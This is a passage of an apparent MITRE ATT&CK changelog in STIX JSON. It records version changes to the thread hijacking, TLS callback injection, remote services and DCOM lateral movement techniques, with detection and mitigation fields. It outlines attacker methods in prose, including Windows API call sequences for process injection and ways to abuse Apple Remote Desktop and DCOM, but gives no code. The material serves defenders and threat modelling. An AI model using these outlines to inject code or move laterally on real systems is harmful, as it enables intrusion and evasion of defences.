>om security products since the execution is masked under a l>cts since the execution is masked under a legitimate process
>egitimate process. >. 
", "changelog_mitigations": { "shared": [ "M1026: Privileged Account Management", "M1040: Behavior Prevention on Endpoint" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (OS API Execution)", "DS0009: Process (Process Access)", "DS0009: Process (Process Modification)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--41d9846c-f6af-4302-a654-24bba2729bc6", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-01-14 01:28:32.166000+00:00", "modified": "2021-10-18 12:22:50.800000+00:00", "name": "Thread Execution Hijacking", "description": "Adversaries may inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. Thread Execution Hijacking is a method of executing arbitrary code in the address space of a separate live process. \n\nThread Execution Hijacking is commonly performed by suspending an existing process then unmapping/hollowing its memory, which can then be replaced with malicious code or the path to a DLL. A handle to an existing victim process is first created with native Windows API calls such as OpenThread. At this point the process can be suspended then written to, realigned to the injected code, and resumed via SuspendThread , VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively.(Citation: Elastic Process Injection July 2017)\n\nThis is very similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) but targets an existing process rather than creating a process in a suspended state. \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via Thread Execution Hijacking may also evade detection from security products since the execution is masked under a legitimate process. ", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "defense-evasion" }, { "kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1055/003", "external_id": "T1055.003" }, { "source_name": "Elastic Process Injection July 2017", "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Process: Process Modification", "Process: OS API Execution", "Process: Process Access" ], "x_mitre_defense_bypassed": [ "Application control", "Anti-virus" ], "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "User" ], "x_mitre_platforms": [ "Windows" ], "x_mitre_version": "1.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-18 12:22:50.800000+00:00\", \"old_value\": \"2020-11-10 18:29:30.941000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['x_mitre_data_sources'][0]\": \"Process: Process Modification\"}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "changelog_mitigations": { "shared": [ "M1040: Behavior Prevention on Endpoint" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (OS API Execution)", "DS0009: Process (Process Access)", "DS0009: Process (Process Modification)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--e49ee9d2-0d98-44ef-85e5-5d3100065744", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-01-14 01:30:41.092000+00:00", "modified": "2021-10-18 12:24:54.198000+00:00", "name": "Thread Local Storage", "description": "Adversaries may inject malicious code into processes via thread local storage (TLS) callbacks in order to evade process-based defenses as well as possibly elevate privileges. TLS callback injection is a method of executing arbitrary code in the address space of a separate live process. \n\nTLS callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point. TLS callbacks are normally used by the OS to setup and/or cleanup data used by threads. Manipulating TLS callbacks may be performed by allocating and writing to specific offsets within a process\u2019 memory space using other [Process Injection](https://attack.mitre.org/techniques/T1055) techniques such as [Process Hollowing](https://attack.mitre.org/techniques/T1055/012).(Citation: FireEye TLS Nov 2017)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via TLS callback injection may also evade detection from security products since the execution is masked under a legitimate process. ", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "defense-evasion" }, { "kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1055/005", "external_id": "T1055.005" }, { "source_name": "FireEye TLS Nov 2017", "description": "Vaish, A. & Nemes, S. (2017, November 28). Newly Observed Ursnif Variant Employs Malicious TLS Callback Technique to Achieve Process Injection. Retrieved December 18, 2017.", "url": "https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html" }, { "source_name": "Elastic Process Injection July 2017", "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Process: Process Modification", "Process: OS API Execution", "Process: Process Access" ], "x_mitre_defense_bypassed": [ "Anti-virus", "Application control" ], "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ", "x_mitre_is_subtechnique": true, "x_mitre_platforms": [ "Windows" ], "x_mitre_version": "1.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-18 12:24:54.198000+00:00\", \"old_value\": \"2020-11-10 18:29:30.984000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['x_mitre_data_sources'][0]\": \"Process: Process Modification\"}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "changelog_mitigations": { "shared": [ "M1040: Behavior Prevention on Endpoint" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (OS API Execution)", "DS0009: Process (Process Access)", "DS0009: Process (Process Modification)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2017-05-31 21:30:29.858000+00:00", "modified": "2021-10-15 14:15:07.272000+00:00", "name": "Remote Services", "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service specifically designed to accept remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.\n\nIn an enterprise environment, servers and workstations can be organized into domains. Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network. If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote Desktop Services)\n\nLegitimate applications (such as [Software Deployment Tools](https://attack.mitre.org/techniques/T1072) and other administrative programs) may utilize [Remote Services](https://attack.mitre.org/techniques/T1021) to access remote hosts. For example, Apple Remote Desktop (ARD) on macOS is native software used for remote management. ARD leverages a blend of protocols, including [VNC](https://attack.mitre.org/techniques/T1021/005) to send the screen and control buffers and [SSH](https://attack.mitre.org/techniques/T1021/004) for secure file transfer.(Citation: Remote Management MDM macOS)(Citation: Kickstart Apple Remote Desktop commands)(Citation: Apple Remote Desktop Admin Guide 3.3) Adversaries can abuse applications such as ARD to gain remote code execution and perform lateral movement. In versions of macOS prior to 10.14, an adversary can escalate an SSH session to an ARD session which enables an adversary to accept TCC (Transparency, Consent, and Control) prompts without user interaction and gain access to data.(Citation: FireEye 2019 Apple Remote Desktop)(Citation: Lockboxx ARD 2019)(Citation: Kickstart Apple Remote Desktop commands)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "lateral-movement" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1021", "external_id": "T1021" }, { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/555.html", "external_id": "CAPEC-555" }, { "source_name": "SSH Secure Shell", "description": "SSH.COM. (n.d.). SSH (Secure Shell). Retrieved March 23, 2020.", "url": "https://www.ssh.com/ssh" }, { "source_name": "TechNet Remote Desktop Services", "description": "Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1, 2016.", "url": "https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx" }, { "source_name": "Remote Management MDM macOS", "description": "Apple. (n.d.). Use MDM to enable Remote Management in macOS. Retrieved September 23, 2021.", "url": "https://support.apple.com/en-us/HT209161" }, { "source_name": "Kickstart Apple Remote Desktop commands", "description": "Apple. (n.d.). Use the kickstart command-line utility in Apple Remote Desktop. Retrieved September 23, 2021.", "url": "https://support.apple.com/en-us/HT201710" }, { "source_name": "Apple Remote Desktop Admin Guide 3.3", "description": "Apple. (n.d.). Apple Remote Desktop Administrator Guide Version 3.3. Retrieved October 5, 2021.", "url": "https://images.apple.com/remotedesktop/pdf/ARD_Admin_Guide_v3.3.pdf" }, { "source_name": "FireEye 2019 Apple Remote Desktop", "description": "Jake Nicastro, Willi Ballenthin. (2019, October 9). Living off the Orchard: Leveraging Apple Remote Desktop for Good and Evil. Retrieved August 16, 2021.", "url": "https://www.fireeye.com/blog/threat-research/2019/10/leveraging-apple-remote-desktop-for-good-and-evil.html" }, { "source_name": "Lockboxx ARD 2019", "description": "Dan Borges. (2019, July 21). MacOS Red Teaming 206: ARD (Apple Remote Desktop Protocol). Retrieved September 10, 2021.", "url": "http://lockboxx.blogspot.com/2019/07/macos-red-teaming-206-ard-apple-remote.html" }, { "source_name": "Apple Unified Log Analysis Remote Login and Screen Sharing", "description": "Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] \u2013 Working From Home? Remote Logins. Retrieved August 19, 2021.", "url": "https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Dan Borges, @1njection" ], "x_mitre_data_sources": [ "Process: Process Creation", "Network Traffic: Network Connection Creation", "Network Traffic: Network Traffic Flow", "Logon Session: Logon Session Creation", "Command: Command Execution", "Network Share: Network Share Access", "Module: Module Load" ], "x_mitre_detection": "Correlate use of login activity related to remote services with unusual behavior or other malicious or suspicious activity. Adversaries will likely need to learn about an environment and the relationships between systems through Discovery techniques prior to attempting Lateral Movement. \n\nUse of applications such as ARD may be legitimate depending on the environment and how it\u2019s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior using these applications. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. \n\nIn macOS, you can review logs for \"screensharingd\" and \"Authentication\" event messages. Monitor network connections regarding remote management (ports tcp:3283 and tcp:5900) and for remote login (port tcp:22).(Citation: Lockboxx ARD 2019)(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)", "x_mitre_is_subtechnique": false, "x_mitre_platforms": [ "Linux", "macOS", "Windows" ], "x_mitre_system_requirements": [ "Active remote service accepting connections and valid credentials" ], "x_mitre_version": "1.2", "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_contributors']\": [\"Dan Borges, @1njection\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-15 14:15:07.272000+00:00\", \"old_value\": \"2020-03-25 12:25:03.251000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service specifically designed to accept remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.\\n\\nIn an enterprise environment, servers and workstations can be organized into domains. Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network. If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote Desktop Services)\\n\\nLegitimate applications (such as [Software Deployment Tools](https://attack.mitre.org/techniques/T1072) and other administrative programs) may utilize [Remote Services](https://attack.mitre.org/techniques/T1021) to access remote hosts. For example, Apple Remote Desktop (ARD) on macOS is native software used for remote management. ARD leverages a blend of protocols, including [VNC](https://attack.mitre.org/techniques/T1021/005) to send the screen and control buffers and [SSH](https://attack.mitre.org/techniques/T1021/004) for secure file transfer.(Citation: Remote Management MDM macOS)(Citation: Kickstart Apple Remote Desktop commands)(Citation: Apple Remote Desktop Admin Guide 3.3) Adversaries can abuse applications such as ARD to gain remote code execution and perform lateral movement. In versions of macOS prior to 10.14, an adversary can escalate an SSH session to an ARD session which enables an adversary to accept TCC (Transparency, Consent, and Control) prompts without user interaction and gain access to data.(Citation: FireEye 2019 Apple Remote Desktop)(Citation: Lockboxx ARD 2019)(Citation: Kickstart Apple Remote Desktop commands)\", \"old_value\": \"Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service specifically designed to accept remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.\\n\\nIn an enterprise environment, servers and workstations can be organized into domains. Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network. If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote Desktop Services)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,5 @@\\n Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service specifically designed to accept remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.\\n \\n In an enterprise environment, servers and workstations can be organized into domains. Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network. If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote Desktop Services)\\n+\\n+Legitimate applications (such as [Software Deployment Tools](https://attack.mitre.org/techniques/T1072) and other administrative programs) may utilize [Remote Services](https://attack.mitre.org/techniques/T1021) to access remote hosts. For example, Apple Remote Desktop (ARD) on macOS is native software used for remote management. ARD leverages a blend of protocols, including [VNC](https://attack.mitre.org/techniques/T1021/005) to send the screen and control buffers and [SSH](https://attack.mitre.org/techniques/T1021/004) for secure file transfer.(Citation: Remote Management MDM macOS)(Citation: Kickstart Apple Remote Desktop commands)(Citation: Apple Remote Desktop Admin Guide 3.3) Adversaries can abuse applications such as ARD to gain remote code execution and perform lateral movement. In versions of macOS prior to 10.14, an adversary can escalate an SSH session to an ARD session which enables an adversary to accept TCC (Transparency, Consent, and Control) prompts without user interaction and gain access to data.(Citation: FireEye 2019 Apple Remote Desktop)(Citation: Lockboxx ARD 2019)(Citation: Kickstart Apple Remote Desktop commands)\"}, \"root['x_mitre_detection']\": {\"new_value\": \"Correlate use of login activity related to remote services with unusual behavior or other malicious or suspicious activity. Adversaries will likely need to learn about an environment and the relationships between systems through Discovery techniques prior to attempting Lateral Movement. \\n\\nUse of applications such as ARD may be legitimate depending on the environment and how it\\u2019s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior using these applications. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. \\n\\nIn macOS, you can review logs for \\\"screensharingd\\\" and \\\"Authentication\\\" event messages. Monitor network connections regarding remote management (ports tcp:3283 and tcp:5900) and for remote login (port tcp:22).(Citation: Lockboxx ARD 2019)(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)\", \"old_value\": \"Correlate use of login activity related to remote services with unusual behavior or other malicious or suspicious activity. Adversaries will likely need to learn about an environment and the relationships between systems through Discovery techniques prior to attempting Lateral Movement.\", \"diff\": \"--- \\n+++ \\n@@ -1 +1,5 @@\\n-Correlate use of login activity related to remote services with unusual behavior or other malicious or suspicious activity. Adversaries will likely need to learn about an environment and the relationships between systems through Discovery techniques prior to attempting Lateral Movement.\\n+Correlate use of login activity related to remote services with unusual behavior or other malicious or suspicious activity. Adversaries will likely need to learn about an environment and the relationships between systems through Discovery techniques prior to attempting Lateral Movement. \\n+\\n+Use of applications such as ARD may be legitimate depending on the environment and how it\\u2019s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior using these applications. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. \\n+\\n+In macOS, you can review logs for \\\"screensharingd\\\" and \\\"Authentication\\\" event messages. Monitor network connections regarding remote management (ports tcp:3283 and tcp:5900) and for remote login (port tcp:22).(Citation: Lockboxx ARD 2019)(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}, \"iterable_item_added\": {\"root['external_references'][4]\": {\"source_name\": \"Remote Management MDM macOS\", \"description\": \"Apple. (n.d.). Use MDM to enable Remote Management in macOS. Retrieved September 23, 2021.\", \"url\": \"https://support.apple.com/en-us/HT209161\"}, \"root['external_references'][5]\": {\"source_name\": \"Kickstart Apple Remote Desktop commands\", \"description\": \"Apple. (n.d.). Use the kickstart command-line utility in Apple Remote Desktop. Retrieved September 23, 2021.\", \"url\": \"https://support.apple.com/en-us/HT201710\"}, \"root['external_references'][6]\": {\"source_name\": \"Apple Remote Desktop Admin Guide 3.3\", \"description\": \"Apple. (n.d.). Apple Remote Desktop Administrator Guide Version 3.3. Retrieved October 5, 2021.\", \"url\": \"https://images.apple.com/remotedesktop/pdf/ARD_Admin_Guide_v3.3.pdf\"}, \"root['external_references'][7]\": {\"source_name\": \"FireEye 2019 Apple Remote Desktop\", \"description\": \"Jake Nicastro, Willi Ballenthin. (2019, October 9). Living off the Orchard: Leveraging Apple Remote Desktop for Good and Evil. Retrieved August 16, 2021.\", \"url\": \"https://www.fireeye.com/blog/threat-research/2019/10/leveraging-apple-remote-desktop-for-good-and-evil.html\"}, \"root['external_references'][8]\": {\"source_name\": \"Lockboxx ARD 2019\", \"description\": \"Dan Borges. (2019, July 21). MacOS Red Teaming 206: ARD (Apple Remote Desktop Protocol). Retrieved September 10, 2021.\", \"url\": \"http://lockboxx.blogspot.com/2019/07/macos-red-teaming-206-ard-apple-remote.html\"}, \"root['external_references'][9]\": {\"source_name\": \"Apple Unified Log Analysis Remote Login and Screen Sharing\", \"description\": \"Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] \\u2013 Working From Home? Remote Logins. Retrieved August 19, 2021.\", \"url\": \"https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins\"}}}", "previous_version": "1.1", "version_change": "1.1 \u2192 1.2", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may use [Valid Accounts](https://attack.mitre.ort1Adversaries may use [Valid Accounts](https://attack.mitre.or
>g/techniques/T1078) to log into a service specifically desig>g/techniques/T1078) to log into a service specifically desig
>ned to accept remote connections, such as telnet, SSH, and V>ned to accept remote connections, such as telnet, SSH, and V
>NC. The adversary may then perform actions as the logged-on >NC. The adversary may then perform actions as the logged-on 
>user.  In an enterprise environment, servers and workstation>user.  In an enterprise environment, servers and workstation
>s can be organized into domains. Domains provide centralized>s can be organized into domains. Domains provide centralized
> identity management, allowing users to login using one set > identity management, allowing users to login using one set 
>of credentials across the entire network. If an adversary is>of credentials across the entire network. If an adversary is
> able to obtain a set of valid domain credentials, they coul> able to obtain a set of valid domain credentials, they coul
>d login to many different machines using remote access proto>d login to many different machines using remote access proto
>cols such as secure shell (SSH) or remote desktop protocol (>cols such as secure shell (SSH) or remote desktop protocol (
>RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote D>RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote D
>esktop Services)>esktop Services)  Legitimate applications (such as [Software
 > Deployment Tools](https://attack.mitre.org/techniques/T1072
 >) and other administrative programs) may utilize [Remote Ser
 >vices](https://attack.mitre.org/techniques/T1021) to access 
 >remote hosts. For example, Apple Remote Desktop (ARD) on mac
 >OS is native software used for remote management. ARD levera
 >ges a blend of protocols, including [VNC](https://attack.mit
 >re.org/techniques/T1021/005) to send the screen and control 
 >buffers and [SSH](https://attack.mitre.org/techniques/T1021/
 >004) for secure file transfer.(Citation: Remote Management M
 >DM macOS)(Citation: Kickstart Apple Remote Desktop commands)
 >(Citation: Apple Remote Desktop Admin Guide 3.3) Adversaries
 > can abuse applications such as ARD to gain remote code exec
 >ution and perform lateral movement. In versions of macOS pri
 >or to 10.14, an adversary can escalate an SSH session to an 
 >ARD session which enables an adversary to accept TCC (Transp
 >arency, Consent, and Control) prompts without user interacti
 >on and gain access to data.(Citation: FireEye 2019 Apple Rem
 >ote Desktop)(Citation: Lockboxx ARD 2019)(Citation: Kickstar
 >t Apple Remote Desktop commands)
", "changelog_mitigations": { "shared": [ "M1018: User Account Management", "M1032: Multi-factor Authentication" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (Process Creation)", "DS0011: Module (Module Load)", "DS0017: Command (Command Execution)", "DS0028: Logon Session (Logon Session Creation)", "DS0029: Network Traffic (Network Connection Creation)", "DS0029: Network Traffic (Network Traffic Flow)", "DS0033: Network Share (Network Share Access)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--68a0c5ed-bee2-4513-830d-5b0d650139bd", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-02-11 18:26:36.444000+00:00", "modified": "2021-06-23 18:58:32.752000+00:00", "name": "Distributed Component Object Model", "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote machines by taking advantage of Distributed Component Object Model (DCOM). The adversary may then perform actions as the logged-on user.\n\nThe Windows Component Object Model (COM) is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces. Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE). Distributed COM (DCOM) is transparent middleware that extends the functionality of COM beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)(Citation: Microsoft COM)\n\nPermissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry.(Citation: Microsoft Process Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.(Citation: Microsoft COM ACL)\n\nThrough DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents(Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) (DDE) execution directly through a COM created instance of a Microsoft Office application(Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document. DCOM can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). (Citation: MSDN WMI)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "lateral-movement" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1021/003", "external_id": "T1021.003" }, { "source_name": "Fireeye Hunting COM June 2019", "description": "Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019.", "url": "https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html" }, { "source_name": "Microsoft COM", "description": "Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.", "url": "https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx" }, { "source_name": "Microsoft Process Wide Com Keys", "description": "Microsoft. (n.d.). Setting Process-Wide Security Through the Registry. Retrieved November 21, 2017.", "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx" }, { "source_name": "Microsoft COM ACL", "description": "Microsoft. (n.d.). DCOM Security Enhancements in Windows XP Service Pack 2 and Windows Server 2003 Service Pack 1. Retrieved November 22, 2017.", "url": "https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1" }, { "source_name": "Enigma Outlook DCOM Lateral Movement Nov 2017", "description": "Nelson, M. (2017, November 16). Lateral Movement using Outlook's CreateObject Method and DotNetToJScript. Retrieved November 21, 2017.", "url": "https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/" }, { "source_name": "Enigma MMC20 COM Jan 2017", "description": "Nelson, M. (2017, January 5). Lateral Movement using the MMC20 Application COM Object. Retrieved November 21, 2017.", "url": "https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/" }, { "source_name": "Enigma DCOM Lateral Movement Jan 2017", "description": "Nelson, M. (2017, January 23). Lateral Movement via DCOM: Round 2. Retrieved November 21, 2017.", "url": "https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/" }, { "source_name": "Enigma Excel DCOM Sept 2017", "description": "Nelson, M. (2017, September 11). Lateral Movement using Excel.Application and DCOM. Retrieved November 21, 2017.", "url": "https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/" }, { "source_name": "Cyberreason DCOM DDE Lateral Movement Nov 2017", "description": "Tsukerman, P. (2017, November 8). Leveraging Excel DDE for lateral movement via DCOM. Retrieved November 21, 2017.", "url": "https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom" }, { "source_name": "MSDN WMI", "description": "Microsoft. (n.d.). Windows Management Instrumentation. Retrieved April 27, 2016.", "url": "https://msdn.microsoft.com/en-us/library/aa394582.aspx" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Module: Module Load", "Process: Process Creation", "Network Traffic: Network Connection Creation" ], "x_mitre_detection": "Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1059/001), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017) Monitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on.\n\nMonitor for any influxes or abnormal increases in DCOM related Distributed Computing Environment/Remote Procedure Call (DCE/RPC) traffic (typically over port 135).", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "Administrator", "SYSTEM" ], "x_mitre_platforms": [ "Windows" ], "x_mitre_version": "1.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-06-23 18:58:32.752000+00:00\", \"old_value\": \"2020-03-23 20:21:03.684000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote machines by taking advantage of Distributed Component Object Model (DCOM). The adversary may then perform actions as the logged-on user.\\n\\nThe Windows Component Object Model (COM) is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces. Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE). Distributed COM (DCOM) is transparent middleware that extends the functionality of COM beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)(Citation: Microsoft COM)\\n\\nPermissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry.(Citation: Microsoft Process Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.(Citation: Microsoft COM ACL)\\n\\nThrough DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents(Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) (DDE) execution directly through a COM created instance of a Microsoft Office application(Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document. DCOM can be used as a method of remotely interacting with 